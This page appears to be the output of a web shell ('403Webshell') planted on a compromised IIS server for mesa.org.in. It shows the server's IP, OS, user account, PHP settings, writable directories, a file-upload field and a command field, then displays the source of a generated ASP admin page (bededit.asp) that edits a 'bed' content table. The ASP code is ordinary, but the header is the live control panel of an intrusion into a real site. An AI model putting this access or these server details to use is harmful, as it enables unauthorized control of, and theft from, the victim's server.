403Webshell
Server IP : 103.118.17.23  /  Your IP : 216.73.216.169
Web Server : Microsoft-IIS/10.0
System : Windows NT RESELLERPLESK22 10.0 build 20348 (Windows Server 2016) AMD64
User : IWAM_plesk(default) ( 0)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  E:/Inetpub/vhosts/mesa.org.in/httpdocs/panel/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : E:/Inetpub/vhosts/mesa.org.in/httpdocs/panel/bededit.asp
<%@ CodePage="65001" %>
<%
Response.Buffer = EW_RESPONSE_BUFFER
%>
<!--#include file="ewcfg.asp"-->
<!--#include file="bedinfo.asp"-->
<!--#include file="aspfn.asp"-->
<!--#include file="userfn.asp"-->
<% Call ew_Header(False, EW_CHARSET, False) %>
<%

' Define page object
Dim bed_edit
Set bed_edit = New cbed_edit
Set Page = bed_edit

' Page init processing
Call bed_edit.Page_Init

' Page main
Call bed_edit.Page_Main

' Global Page Rendering event (in userfn*.asp)
Page_Rendering()

' Page Render event
bed_edit.Page_Render()
%>
<!--#include file="header.asp"-->
<script type="text/javascript">
// Form object
var CurrentPageID = EW_PAGE_ID = "edit";
var CurrentForm = fbededit = new ew_Form("fbededit", "edit");
// Validate form
fbededit.Validate = function() {
	if (!this.ValidateRequired)
		return true; // Ignore validation
	var $ = jQuery, fobj = this.GetForm(), $fobj = $(fobj);
	if ($fobj.find("#a_confirm").val() == "F")
		return true;
	var elm, felm, uelm, addcnt = 0;
	var $k = $fobj.find("#" + this.FormKeyCountName); // Get key_count
	var rowcnt = ($k[0]) ? parseInt($k.val(), 10) : 1;
	var startcnt = (rowcnt == 0) ? 0 : 1; // Check rowcnt == 0 => Inline-Add
	var gridinsert = $fobj.find("#a_list").val() == "gridinsert";
	for (var i = startcnt; i <= rowcnt; i++) {
		var infix = ($k[0]) ? String(i) : "";
		$fobj.data("rowindex", infix);
			elm = this.GetElements("x" + infix + "_Page_Name");
			if (elm && !ew_IsHidden(elm) && !ew_HasValue(elm))
				return this.OnError(elm, "<%= ew_JsEncode2(Replace(bed.Page_Name.ReqErrMsg, "%s", bed.Page_Name.FldCaption)) %>");
			elm = this.GetElements("x" + infix + "_Description");
			if (elm && !ew_IsHidden(elm) && !ew_HasValue(elm))
				return this.OnError(elm, "<%= ew_JsEncode2(Replace(bed.Description.ReqErrMsg, "%s", bed.Description.FldCaption)) %>");
			elm = this.GetElements("x" + infix + "_Enable");
			if (elm && !ew_IsHidden(elm) && !ew_HasValue(elm))
				return this.OnError(elm, "<%= ew_JsEncode2(Replace(bed.Enable.ReqErrMsg, "%s", bed.Enable.FldCaption)) %>");
			elm = this.GetElements("x" + infix + "_Sequence");
			if (elm && !ew_CheckInteger(elm.value))
				return this.OnError(elm, "<%= ew_JsEncode2(bed.Sequence.FldErrMsg) %>");
			// Fire Form_CustomValidate event
			if (!this.Form_CustomValidate(fobj))
				return false;
	}
	// Process detail forms
	var dfs = $fobj.find("input[name='detailpage']").get();
	for (var i = 0; i < dfs.length; i++) {
		var df = dfs[i], val = df.value;
		if (val && ewForms[val])
			if (!ewForms[val].Validate())
				return false;
	}
	return true;
}
// Form_CustomValidate event
fbededit.Form_CustomValidate = 
 function(fobj) { // DO NOT CHANGE THIS LINE!
 	// Your custom validation code here, return false if invalid. 
 	return true;
 }
// Use JavaScript validation or not
<% If EW_CLIENT_VALIDATE Then %>
fbededit.ValidateRequired = true; // Use JavaScript validation
<% Else %>
fbededit.ValidateRequired = false; // No JavaScript validation
<% End If %>
// Dynamic selection lists
fbededit.Lists["x_Enable"] = {"LinkField":"","Ajax":null,"AutoFill":false,"DisplayFields":["","","",""],"ParentFields":[],"ChildFields":[],"FilterFields":[],"Options":[],"Template":""};
fbededit.Lists["x_Enable"].Options = <%= ew_ArrayToJson(bed.Enable.Options(False)) %>;
<% Set arAS = Nothing %>
// Form object for search
</script>
<script type="text/javascript">
// Write your client script here, no need to add script tags.
</script>
<% Call bed_edit.ShowPageHeader %>
<% Call bed_edit.ShowMessage %>
<form name="fbededit" id="fbededit" class="<%= bed_edit.FormClassName %>" action="<%= ew_CurrentPage %>" method="post">
<% If bed_edit.CheckToken Then %>
<input type="hidden" name="<%= EW_TOKEN_NAME %>" value="<%= bed_edit.Token %>">
<% End If %>
<input type="hidden" name="a_table" id="a_table" value="bed">
<input type="hidden" name="a_edit" id="a_edit" value="U">
<input type="hidden" name="modal" value="<%= ew_IIf(bed_edit.IsModal, "1", "0") %>">
<div class="ewEditDiv"><!-- page* -->
<% If bed.ID.Visible Then ' ID %>
	<div id="r_ID" class="form-group">
		<label id="elh_bed_ID" class="<%= bed.LeftColumnClass %>"><%= bed.ID.FldCaption %></label>
		<div class="<%= bed.RightColumnClass %>"><div<%= bed.ID.CellAttributes %>>
<span id="el_bed_ID">
<span<%= bed.ID.ViewAttributes %>>
<p class="form-control-static"><%= bed.ID.EditValue %></p>
</span>
</span>
<input type="hidden" data-table="bed" data-field="x_ID" name="x_ID" id="x_ID" value="<%= ew_HtmlEncode(bed.ID.CurrentValue&"") %>">
<%= bed.ID.CustomMsg %></div></div>
	</div>
<% End If %>
<% If bed.Page_Name.Visible Then ' Page_Name %>
	<div id="r_Page_Name" class="form-group">
		<label id="elh_bed_Page_Name" for="x_Page_Name" class="<%= bed.LeftColumnClass %>"><%= bed.Page_Name.FldCaption %><%= Language.Phrase("FieldRequiredIndicator") %></label>
		<div class="<%= bed.RightColumnClass %>"><div<%= bed.Page_Name.CellAttributes %>>
<span id="el_bed_Page_Name">
<input type="text" data-table="bed" data-field="x_Page_Name" name="x_Page_Name" id="x_Page_Name" size="30" maxlength="255" placeholder="<%= bed.Page_Name.PlaceHolder %>" value="<%= bed.Page_Name.EditValue %>"<%= bed.Page_Name.EditAttributes %>>
</span>
<%= bed.Page_Name.CustomMsg %></div></div>
	</div>
<% End If %>
<% If bed.Title.Visible Then ' Title %>
	<div id="r_Title" class="form-group">
		<label id="elh_bed_Title" for="x_Title" class="<%= bed.LeftColumnClass %>"><%= bed.Title.FldCaption %></label>
		<div class="<%= bed.RightColumnClass %>"><div<%= bed.Title.CellAttributes %>>
<span id="el_bed_Title">
<input type="text" data-table="bed" data-field="x_Title" name="x_Title" id="x_Title" size="30" maxlength="255" placeholder="<%= bed.Title.PlaceHolder %>" value="<%= bed.Title.EditValue %>"<%= bed.Title.EditAttributes %>>
</span>
<%= bed.Title.CustomMsg %></div></div>
	</div>
<% End If %>
<% If bed.Description.Visible Then ' Description %>
	<div id="r_Description" class="form-group">
		<label id="elh_bed_Description" for="x_Description" class="<%= bed.LeftColumnClass %>"><%= bed.Description.FldCaption %><%= Language.Phrase("FieldRequiredIndicator") %></label>
		<div class="<%= bed.RightColumnClass %>"><div<%= bed.Description.CellAttributes %>>
<span id="el_bed_Description">
<textarea data-table="bed" data-field="x_Description" name="x_Description" id="x_Description" cols="35" rows="4" placeholder="<%= bed.Description.PlaceHolder %>"<%= bed.Description.EditAttributes %>><%= bed.Description.EditValue %></textarea>
</span><script>
CKEDITOR.replace( 'x_Description' ,{
	filebrowserBrowseUrl : 'dreameditor/data/dialog.php?type=2&editor=ckeditor&fldr=',
	filebrowserUploadUrl : 'dreameditor/data/dialog.php?type=2&editor=ckeditor&fldr=',
	filebrowserImageBrowseUrl : 'dreameditor/data/dialog.php?type=1&editor=ckeditor&fldr='
});
</script>
<%= bed.Description.CustomMsg %></div></div>
	</div>
<% End If %>
<% If bed.Enable.Visible Then ' Enable %>
	<div id="r_Enable" class="form-group">
		<label id="elh_bed_Enable" class="<%= bed.LeftColumnClass %>"><%= bed.Enable.FldCaption %><%= Language.Phrase("FieldRequiredIndicator") %></label>
		<div class="<%= bed.RightColumnClass %>"><div<%= bed.Enable.CellAttributes %>>
<span id="el_bed_Enable">
<div id="tp_x_Enable" class="ewTemplate"><input type="radio" data-table="bed" data-field="x_Enable" data-value-separator="<%= bed.Enable.DisplayValueSeparatorAttribute %>" name="x_Enable" id="x_Enable" value="{value}"<%= bed.Enable.EditAttributes %>></div>
<div id="dsl_x_Enable" data-repeatcolumn="5" class="ewItemList" style="display: none;"><div>
<%= bed.Enable.RadioButtonListHtml(False, "x_Enable", -1, bed) %>
</div></div>
</span>
<%= bed.Enable.CustomMsg %></div></div>
	</div>
<% End If %>
<% If bed.Sequence.Visible Then ' Sequence %>
	<div id="r_Sequence" class="form-group">
		<label id="elh_bed_Sequence" for="x_Sequence" class="<%= bed.LeftColumnClass %>"><%= bed.Sequence.FldCaption %></label>
		<div class="<%= bed.RightColumnClass %>"><div<%= bed.Sequence.CellAttributes %>>
<span id="el_bed_Sequence">
<input type="text" data-table="bed" data-field="x_Sequence" name="x_Sequence" id="x_Sequence" size="30" placeholder="<%= bed.Sequence.PlaceHolder %>" value="<%= bed.Sequence.EditValue %>"<%= bed.Sequence.EditAttributes %>>
</span>
<%= bed.Sequence.CustomMsg %></div></div>
	</div>
<% End If %>
</div><!-- /page* -->
<% If Not bed_edit.IsModal Then %>
<div class="form-group"><!-- buttons .form-group -->
	<div class="<%= bed.OffsetColumnClass %>"><!-- buttons offset -->
<button class="btn btn-primary ewButton" name="btnAction" id="btnAction" type="submit"><%= Language.Phrase("SaveBtn") %></button>
<button class="btn btn-default ewButton" name="btnCancel" id="btnCancel" type="button" data-href="<%= bed.ReturnUrl %>"><%= Language.Phrase("CancelBtn") %></button>
	</div><!-- /buttons offset -->
</div><!-- /buttons .form-group -->
<% End If %>
</form>
<script type="text/javascript">
fbededit.Init();
</script>
<%
Call bed_edit.ShowPageFooter
If EW_DEBUG_ENABLED Then Response.Write ew_DebugMsg()
%>
<script type="text/javascript">
// Write your table-specific startup script here
// document.write("page loaded");
</script>
<!--#include file="footer.asp"-->
<%

' Clean up and drop page object
Call bed_edit.Page_Terminate("")
Set bed_edit = Nothing
%>
<%

'
' Page Class
'
Class cbed_edit

	' Page ID
	Public Property Get PageID
		PageID = "edit"
	End Property

	' Project ID
	Public Property Get ProjectID
		ProjectID = "panel"
	End Property

	' Table Name
	Public Property Get TableName
		TableName = "bed"
	End Property

	' Page Object Name
	Public Property Get PageObjName
		PageObjName = "bed_edit"
	End Property

	' Field (ID)
	Public Property Get ID
		Set ID = bed.ID
	End Property

	' Field (Page_Name)
	Public Property Get Page_Name
		Set Page_Name = bed.Page_Name
	End Property

	' Field (Title)
	Public Property Get Title
		Set Title = bed.Title
	End Property

	' Field (Description)
	Public Property Get Description
		Set Description = bed.Description
	End Property

	' Field (Enable)
	Public Property Get Enable
		Set Enable = bed.Enable
	End Property

	' Field (Sequence)
	Public Property Get Sequence
		Set Sequence = bed.Sequence
	End Property

	' Field (IP)
	Public Property Get IP
		Set IP = bed.IP
	End Property

	' Field (Date)
	Public Property Get zDate
		Set zDate = bed.zDate
	End Property

	' Field (Username)
	Public Property Get Username
		Set Username = bed.Username
	End Property

	' Get field object dictionary (ASP)
	Public Property Get Fields
		Set Fields = bed.Fields
	End Property

	' Get field object by name (alias of Fields) (ASP)
	Public Function GetField(Name)
		Set GetField = Fields.Get(Name)
	End Function

	' Get field object by parm (ASP)
	Public Function GetFieldByParm(Parm)
		Dim keys, key
		keys = Fields.Keys()
		For Each key In keys
			If Fields.Get(key).FldParm = Parm Then
				Set GetFieldByParm = Fields.Get(key)
				Exit Function
			End If
		Next
		Set GetFieldByParm = Nothing
	End Function

	' Export document (ASP)
	Dim ExportDoc

	' Page headings
	Dim Heading
	Dim Subheading

	' Page heading
	Function PageHeading()
		PageHeading = ""
		If Heading <> "" Then
			PageHeading = Heading
		ElseIf ew_NotEmpty(bed) Then
			PageHeading = bed.TableCaption
		End If
	End Function

	' Page subheading
	Function PageSubheading()
		If Subheading <> "" Then
			PageSubheading = Subheading
		Else
			PageSubheading = ""
			If TableName <> "" Then
				PageSubheading = Language.Phrase(PageID)
			End If
		End If
	End Function

	' Page Name
	Public Property Get PageName
		PageName = ew_CurrentPage()
	End Property

	' Page Url
	Public Property Get PageUrl
		PageUrl = ew_CurrentPage() & "?"
		If bed.UseTokenInUrl Then PageUrl = PageUrl & "t=" & bed.TableVar & "&" ' add page token
	End Property

	' Message
	Public Property Get Message
		Message = Session(EW_SESSION_MESSAGE)
	End Property

	Public Property Let Message(v)
		Dim msg
		msg = Session(EW_SESSION_MESSAGE)
		Call ew_AddMessage(msg, v)
		Session(EW_SESSION_MESSAGE) = msg
	End Property

	Public Property Get FailureMessage
		FailureMessage = Session(EW_SESSION_FAILURE_MESSAGE)
	End Property

	Public Property Let FailureMessage(v)
		Dim msg
		msg = Session(EW_SESSION_FAILURE_MESSAGE)
		Call ew_AddMessage(msg, v)
		Session(EW_SESSION_FAILURE_MESSAGE) = msg
	End Property

	Public Property Get SuccessMessage
		SuccessMessage = Session(EW_SESSION_SUCCESS_MESSAGE)
	End Property

	Public Property Let SuccessMessage(v)
		Dim msg
		msg = Session(EW_SESSION_SUCCESS_MESSAGE)
		Call ew_AddMessage(msg, v)
		Session(EW_SESSION_SUCCESS_MESSAGE) = msg
	End Property

	Public Property Get WarningMessage
		WarningMessage = Session(EW_SESSION_WARNING_MESSAGE)
	End Property

	Public Property Let WarningMessage(v)
		Dim msg
		msg = Session(EW_SESSION_WARNING_MESSAGE)
		Call ew_AddMessage(msg, v)
		Session(EW_SESSION_WARNING_MESSAGE) = msg
	End Property

	' Methods to clear message
	Public Sub ClearMessage()
		Session(EW_SESSION_MESSAGE) = ""
	End Sub

	Public Sub ClearFailureMessage()
		Session(EW_SESSION_FAILURE_MESSAGE) = ""
	End Sub

	Public Sub ClearSuccessMessage()
		Session(EW_SESSION_SUCCESS_MESSAGE) = ""
	End Sub

	Public Sub ClearWarningMessage()
		Session(EW_SESSION_WARNING_MESSAGE) = ""
	End Sub

	Public Sub ClearMessages()
		Session(EW_SESSION_MESSAGE) = ""
		Session(EW_SESSION_FAILURE_MESSAGE) = ""
		Session(EW_SESSION_SUCCESS_MESSAGE) = ""
		Session(EW_SESSION_WARNING_MESSAGE) = ""
	End Sub

	' Show Message
	Public Sub ShowMessage()
		Dim hidden, html, sMessage
		hidden = False
		html = ""

		' Message
		sMessage = Message
		Call Message_Showing(sMessage, "")
		If sMessage <> "" Then ' Message in Session, display
			If Not hidden Then sMessage = "<button type=""button"" class=""close"" data-dismiss=""alert"">&times;</button>" & sMessage
			html = html & "<div class=""alert alert-info ewInfo"">" & sMessage & "</div>"
			Session(EW_SESSION_MESSAGE) = "" ' Clear message in Session
		End If

		' Warning message
		Dim sWarningMessage
		sWarningMessage = WarningMessage
		Call Message_Showing(sWarningMessage, "warning")
		If sWarningMessage <> "" Then ' Message in Session, display
			If Not hidden Then sWarningMessage = "<button type=""button"" class=""close"" data-dismiss=""alert"">&times;</button>" & sWarningMessage
			html = html & "<div class=""alert alert-warning ewWarning"">" & sWarningMessage & "</div>"
			Session(EW_SESSION_WARNING_MESSAGE) = "" ' Clear message in Session
		End If

		' Success message
		Dim sSuccessMessage
		sSuccessMessage = SuccessMessage
		Call Message_Showing(sSuccessMessage, "success")
		If sSuccessMessage <> "" Then ' Message in Session, display
			If Not hidden Then sSuccessMessage = "<button type=""button"" class=""close"" data-dismiss=""alert"">&times;</button>" & sSuccessMessage
			html = html & "<div class=""alert alert-success ewSuccess"">" & sSuccessMessage & "</div>"
			Session(EW_SESSION_SUCCESS_MESSAGE) = "" ' Clear message in Session
		End If

		' Failure message
		Dim sErrorMessage
		sErrorMessage = FailureMessage
		Call Message_Showing(sErrorMessage, "failure")
		If sErrorMessage <> "" Then ' Message in Session, display
			If Not hidden Then sErrorMessage = "<button type=""button"" class=""close"" data-dismiss=""alert"">&times;</button>" & sErrorMessage
			html = html & "<div class=""alert alert-danger ewError"">" & sErrorMessage & "</div>"
			Session(EW_SESSION_FAILURE_MESSAGE) = "" ' Clear message in Session
		End If
		Response.Write "<div class=""ewMessageDialog""" & ew_IIf(hidden, " style=""display: none;""", "") & ">" & html & "</div>"
	End Sub
	Dim PageHeader
	Dim PageFooter

	' Show Page Header
	Public Sub ShowPageHeader()
		Dim sHeader
		sHeader = PageHeader
		Call Page_DataRendering(sHeader)
		If sHeader <> "" Then ' Header exists, display
			Response.Write "<p>" & sHeader & "</p>"
		End If
	End Sub

	' Show Page Footer
	Public Sub ShowPageFooter()
		Dim sFooter
		sFooter = PageFooter
		Call Page_DataRendered(sFooter)
		If sFooter <> "" Then ' Footer exists, display
			Response.Write "<p>" & sFooter & "</p>"
		End If
	End Sub

	'
	' Validate Page request
	'
	Public Function IsPageRequest()
		If bed.UseTokenInUrl Then
			IsPageRequest = False
			If ew_NotEmpty(ObjForm) Then
				IsPageRequest = (bed.TableVar = ObjForm.GetValue("t"))
			End If
			If Request.QueryString("t").Count > 0 Then
				IsPageRequest = (bed.TableVar = Request.QueryString("t"))
			End If
		Else
			IsPageRequest = True
		End If
	End Function
	Dim Token
	Dim CheckToken
	Dim TokenTimeout

	' Valid Post
	Function ValidPost()
		If Not CheckToken Or Not ew_IsPost() Then
			ValidPost = True
			Exit Function
		End If
		If Request.Form(EW_TOKEN_NAME).Count = 0 Then
			ValidPost = False
			Exit Function
		End If
		ValidPost = ew_CheckToken(Request.Form(EW_TOKEN_NAME),TokenTimeout)
	End Function

	' Create Token
	Sub CreateToken()
		If CheckToken And Token = "" Then
			Token = ew_CreateToken()
			gsToken = Token ' Save to global variable
		End If
	End Sub

	'
	' Class initialize
	'
	Private Sub Class_Initialize()
		Session.LCID = 1033 ' Always use US locale id
		If IsEmpty(StartTimer) Then StartTimer = Timer ' Init start time

		' Check Token
		Token = ""
		CheckToken = EW_CHECK_TOKEN
		TokenTimeout = 0
		TokenTimeout = ew_SessionTimeoutTime()

		' Initialize language object
		If IsEmpty(Language) Then
			Set Language = New cLanguage
			Call Language.LoadPhrases
		End If

		' Initialize table object
		If IsEmpty(bed) Then Set bed = New cbed
		Set Table = bed

		' Initialize URLs
		' Initialize form object

		Set ObjForm = Nothing

		' Get resize object
		Call ew_GetResizeObj

		' Intialize page id (for backward compatibility)
		EW_PAGE_ID = "edit"

		' Initialize table name (for backward compatibility)
		EW_TABLE_NAME = "bed"

		' Debug message
		Call ew_LoadDebugMsg

		' Open connection to the database
		If IsEmpty(Conn) Then
			Set Conn = ew_Connect(bed.TableDBID)
		End If
	End Sub

	'
	' Page_Init
	'
	Sub Page_Init()

		' Is modal
		IsModal = (Request.QueryString("modal") = "1" Or Request.Form("modal") = "1")

		' User profile
		Set UserProfile = New cUserProfile

		' Security
		Set Security = New cAdvancedSecurity
		If Not Security.IsLoggedIn() Then Security.AutoLogin()
		Call Security.LoadCurrentUserLevel(ProjectID & TableName)
		If Not Security.CanEdit Then
			Call Security.SaveLastUrl
			If Security.CanList Then
				Call Page_Terminate(ew_GetUrl("bedlist.asp"))
			Else
				Call Page_Terminate(ew_GetUrl("login.asp"))
			End If
		End If

		' Create form object
		Set ObjForm = New cFormObj
		bed.CurrentAction = ew_IIf(Request.QueryString("a").Count > 0, Request.QueryString("a") & "", ObjForm.GetValue("a_list") & "") ' Set up current action
		Call bed.ID.SetVisibility(bed)
		If bed.IsAdd() Or bed.IsCopy() Or bed.IsGridAdd() Then
			bed.ID.Visible = False
		End If
		Call bed.Page_Name.SetVisibility(bed)
		Call bed.Title.SetVisibility(bed)
		Call bed.Description.SetVisibility(bed)
		Call bed.Enable.SetVisibility(bed)
		Call bed.Sequence.SetVisibility(bed)
		Call bed.IP.SetVisibility(bed)
		Call bed.zDate.SetVisibility(bed)
		Call bed.Username.SetVisibility(bed)

		' Global page loading event (in userfn*.asp)
		Call Page_Loading

		' Page load event, used in current page
		Call Page_Load

		' Check token
		If Not ValidPost() Then
			Response.Write Language.Phrase("InvalidPostRequest")
			Call Page_Terminate("")
			Response.End
		End If

		' Process auto fill
		Dim results
		If Request.Form("ajax") = "autofill" Then
			results = bed.GetAutoFill(Request.Form("name"), Request.Form("q"))
			If results <> "" Then

				' Clean output buffer
				If Response.Buffer Then Response.Clear
				Response.Write results
				Call Page_Terminate("")
				Response.End
			End If
		End If

		' Create Token
		Call CreateToken
	End Sub

	'
	' Page_Terminate
	'
	Sub Page_Terminate(url)
		If Request.Form("customexport")&"" = "" Then

			' Page unload event, used in current page
			Call Page_Unload

			' Global page unloaded event (in userfn*.asp)
			Call Page_Unloaded
		End If

		' Export
		If ew_NotEmpty(bed) Then
			If bed.Export <> "" And Request.Form("data").Count > 0 Then
				Dim sContent
				sContent = Request.Form("data")
				gsExportFile = Request.Form("filename")
				If gsExportFile = "" Then gsExportFile = bed.TableVar
				If bed.Export = "pdf" Then
					Call ExportPdf(sContent)
				ElseIf bed.Export = "email" Then
					Response.Write ExportEmail(sContent)
				ElseIf bed.Export = "excel" Then
					Call ExportExcel(sContent)
				ElseIf bed.Export = "word" Then
					Call ExportWord(sContent)
				End If
			End If
		End If
		Dim sRedirectUrl
		sRedirectUrl = url
		Call Page_Redirecting(sRedirectUrl)
		Call ew_CloseConn ' Close Connection
		Set Security = Nothing
		Set ObjForm = Nothing
		Set gResizeObj = Nothing

		' Go to URL if specified
		If gsExport & "" = "" Then
			If sRedirectUrl <> "" Then
				If Response.Buffer Then Response.Clear

				' Handle modal response
				If IsModal Then ' Show as modal
					Dim row, pageName
					Set row = Dictionary()
					Call row.Add("url", sRedirectURL)
					Call row.Add("modal", "1")
					pageName = ew_GetPageName(sRedirectURL)
					If pageName <> bed.ListUrl Then ' Not List page
						Call row.Add("caption", bed.GetModalCaption(pageName))
						If pageName = "bedview.asp" Then
							Call row.Add("view", "1")
						End If
					Else 'List page should not be shown as modal => error
						Call row.Add("error", FailureMessage)
						Call ClearFailureMessage
					End If
					Call ResponseJson
					Response.Write "[" & row.ToJson() & "]"
					Set row = Nothing
					Response.End
				Else
					Call ew_SaveDebugMsg
					Response.Redirect sRedirectUrl
				End If
			End If
		End If
		Set bed = Nothing
		Call ew_CleanUp
	End Sub

	'
	' Page_Terminate (End)
	'

	Dim DbMasterFilter, DbDetailFilter
	Dim FormClassName
	Dim IsModal
	Dim IsMobileOrModal
	Dim DisplayRecs
	Dim StartRec, StopRec, TotalRecs, RecRange
	Dim AutoHidePager
	Dim RecCnt
	Dim Recordset

	'
	' Page main
	'
	Sub Page_Main()
		Dim sReturnUrl
		sReturnUrl = ""

		' Check modal
		If IsModal Then	gbSkipHeaderFooter = True
		IsMobileOrModal = False
		IsMobileOrModal = ew_IsMobile() Or IsModal
		FormClassName = "ewForm ewEditForm form-horizontal"
		Dim loaded, postBack
		sReturnUrl = ""
		loaded = False
		postBack = False

		' Set up current action and primary key
		If ObjForm.GetValue("a_edit")&"" <> "" Then
			bed.CurrentAction = ObjForm.GetValue("a_edit")&"" ' Get action code
			If bed.CurrentAction <> "I" Then ' Not reload record, handle as postback
				postBack = True
			End If

		' Load key from Form
		If ObjForm.HasValue("x_ID") Then
			bed.ID.FormValue = ObjForm.GetValue("x_ID")
		End If
		Else
			bed.CurrentAction = "I" ' Default action is display

			' Load key from QueryString
			Dim loadByQuery
			loadByQuery = False
			If Request.QueryString("ID").Count > 0 Then
				bed.ID.QueryStringValue = Request.QueryString("ID")
				loadByQuery = True
			Else
				bed.ID.CurrentValue = Null
			End If
		End If

		' Load current record
		loaded = LoadRow()

		' Process form if post back
		If postBack Then
			Call LoadFormValues ' Get form values
		End If

		' Validate form if post back
		If postBack Then
			If Not ValidateForm() Then
				bed.CurrentAction = "" ' Form error, reset action
				FailureMessage = gsFormError
				bed.EventCancelled = True ' Event cancelled
				LoadRow() ' Restore row
				Call RestoreFormValues ' Restore form values if validate failed
			End If
		End If

		' Perform current action
		Select Case bed.CurrentAction
			Case "I" ' Get a record to display
				If Not loaded Then ' Load Record based on key
					If FailureMessage = "" Then FailureMessage = Language.Phrase("NoRecord") ' No record found
					Call Page_Terminate("bedlist.asp") ' No matching record, return to list
				End If
			Case "U" ' Update
				sReturnUrl = bed.ReturnUrl
				If ew_GetPageName(sReturnUrl) = "bedlist.asp" Then
					sReturnUrl = bed.AddMasterUrl(sReturnUrl) ' List page, return to List page with correct master key if necessary
				End If
				bed.SendEmail = True ' Send email on update success
				If EditRow() Then ' Update Record based on key
					If SuccessMessage = "" Then
						SuccessMessage = Language.Phrase("UpdateSuccess") ' Update success
					End If
					Call Page_Terminate(sReturnUrl) ' Return to caller
				ElseIf FailureMessage = Language.Phrase("NoRecord") Then
					Call Page_Terminate(sReturnUrl) ' Return to caller
				Else
					bed.EventCancelled = True ' Event cancelled
					LoadRow() ' Restore row
					Call RestoreFormValues ' Restore form values if update failed
				End If
		End Select

		' Render the record
		bed.RowType = EW_ROWTYPE_EDIT ' Render as edit

		' Set up Breadcrumb
		Call SetupBreadcrumb

		' Render row
		Call bed.ResetAttrs
		Call RenderRow
	End Sub
	Dim Pager

	'
	' Set up Starting Record parameters based on Pager Navigation
	'
	Sub SetupStartRec()
		Dim PageNo

		' Exit if DisplayRecs = 0
		If DisplayRecs = 0 Then Exit Sub
		If IsPageRequest Then ' Validate request

			' Check for a START parameter
			If Request.QueryString(EW_TABLE_START_REC).Count > 0 Then
				StartRec = Request.QueryString(EW_TABLE_START_REC)
				bed.StartRecordNumber = StartRec
			ElseIf Request.QueryString(EW_TABLE_PAGE_NO).Count > 0 Then
				PageNo = Request.QueryString(EW_TABLE_PAGE_NO)
				If IsNumeric(PageNo) Then
					StartRec = (PageNo-1)*DisplayRecs+1
					If StartRec <= 0 Then
						StartRec = 1
					ElseIf StartRec >= ((TotalRecs-1)\DisplayRecs)*DisplayRecs+1 Then
						StartRec = ((TotalRecs-1)\DisplayRecs)*DisplayRecs+1
					End If
					bed.StartRecordNumber = StartRec
				End If
			End If
		End If
		StartRec = bed.StartRecordNumber

		' Check if correct start record counter
		If Not IsNumeric(StartRec) Or StartRec = "" Then ' Avoid invalid start record counter
			StartRec = 1 ' Reset start record counter
			bed.StartRecordNumber = StartRec
		ElseIf CLng(StartRec) > CLng(TotalRecs) Then ' Avoid starting record > total records
			StartRec = ((TotalRecs-1)\DisplayRecs)*DisplayRecs+1 ' Point to last page first record
			bed.StartRecordNumber = StartRec
		ElseIf (StartRec-1) Mod DisplayRecs <> 0 Then
			StartRec = ((StartRec-1)\DisplayRecs)*DisplayRecs+1 ' Point to page boundary
			bed.StartRecordNumber = StartRec
		End If
	End Sub

	'
	' Get upload files
	'
	Sub GetUploadFiles()

		' Get upload data
	End Sub

	'
	' Load form values
	'
	Sub LoadFormValues()

		' Load values from form
		If Not bed.ID.FldIsDetailKey Then bed.ID.FormValue = ObjForm.GetValue("x_ID")
		If Not bed.Page_Name.FldIsDetailKey Then bed.Page_Name.FormValue = ObjForm.GetValue("x_Page_Name")
		If Not bed.Title.FldIsDetailKey Then bed.Title.FormValue = ObjForm.GetValue("x_Title")
		If Not bed.Description.FldIsDetailKey Then bed.Description.FormValue = ObjForm.GetValue("x_Description")
		If Not bed.Enable.FldIsDetailKey Then bed.Enable.FormValue = ObjForm.GetValue("x_Enable")
		If Not bed.Sequence.FldIsDetailKey Then bed.Sequence.FormValue = ObjForm.GetValue("x_Sequence")
		If Not bed.IP.FldIsDetailKey Then bed.IP.FormValue = ObjForm.GetValue("x_IP")
		If Not bed.zDate.FldIsDetailKey Then bed.zDate.FormValue = ObjForm.GetValue("x_zDate")
		If Not bed.zDate.FldIsDetailKey Then bed.zDate.CurrentValue = ew_UnFormatDateTime(bed.zDate.CurrentValue, 0)
		If Not bed.Username.FldIsDetailKey Then bed.Username.FormValue = ObjForm.GetValue("x_Username")
	End Sub

	'
	' Restore form values
	'
	Sub RestoreFormValues()
		bed.ID.CurrentValue = bed.ID.FormValue
		bed.Page_Name.CurrentValue = bed.Page_Name.FormValue
		bed.Title.CurrentValue = bed.Title.FormValue
		bed.Description.CurrentValue = bed.Description.FormValue
		bed.Enable.CurrentValue = bed.Enable.FormValue
		bed.Sequence.CurrentValue = bed.Sequence.FormValue
		bed.IP.CurrentValue = bed.IP.FormValue
		bed.zDate.CurrentValue = bed.zDate.FormValue
		bed.zDate.CurrentValue = ew_UnFormatDateTime(bed.zDate.CurrentValue, 0)
		bed.Username.CurrentValue = bed.Username.FormValue
	End Sub

	'
	' Load row based on key values
	'
	Function LoadRow()
		Dim RsRow, sSql, sFilter
		sFilter = bed.KeyFilter

		' Call Row Selecting event
		Call bed.Row_Selecting(sFilter)

		' Load SQL based on filter
		bed.CurrentFilter = sFilter
		sSql = bed.SQL
		Call ew_SetDebugMsg("LoadRow: " & sSql) ' Show SQL for debugging
		Set RsRow = ew_LoadRowByDbid(sSql, bed.TableDBID)
		If RsRow.EOF Then
			LoadRow = False
		Else
			LoadRow = True
			RsRow.MoveFirst
			Call LoadRowValues(RsRow) ' Load row values
		End If
		RsRow.Close
		Set RsRow = Nothing
	End Function

	'
	' Load row values from recordset
	'
	Sub LoadRowValues(RsRow)
		Dim sDetailFilter
		If Not EW_DEBUG_ENABLED Then On Error Resume Next
		If IsNull(RsRow) Then
			Set RsRow = NewRow()
		End If

		' Call Row Selected event
		Call bed.Row_Selected(RsRow)
		If ew_Empty(RsRow) Then Exit Sub
		If RsRow.EOF Then Exit Sub
		bed.ID.DbValue = RsRow("ID")
		bed.Page_Name.DbValue = RsRow("Page_Name")
		bed.Title.DbValue = RsRow("Title")
		bed.Description.DbValue = RsRow("Description")
		bed.Enable.DbValue = RsRow("Enable")
		bed.Sequence.DbValue = RsRow("Sequence")
		bed.IP.DbValue = RsRow("IP")
		bed.zDate.DbValue = RsRow("Date")
		bed.Username.DbValue = RsRow("Username")
	End Sub

	' Return a row with default values
	Function NewRow
		Dim cnn, rs, sSql, sFilter

		' Clear any previous errors
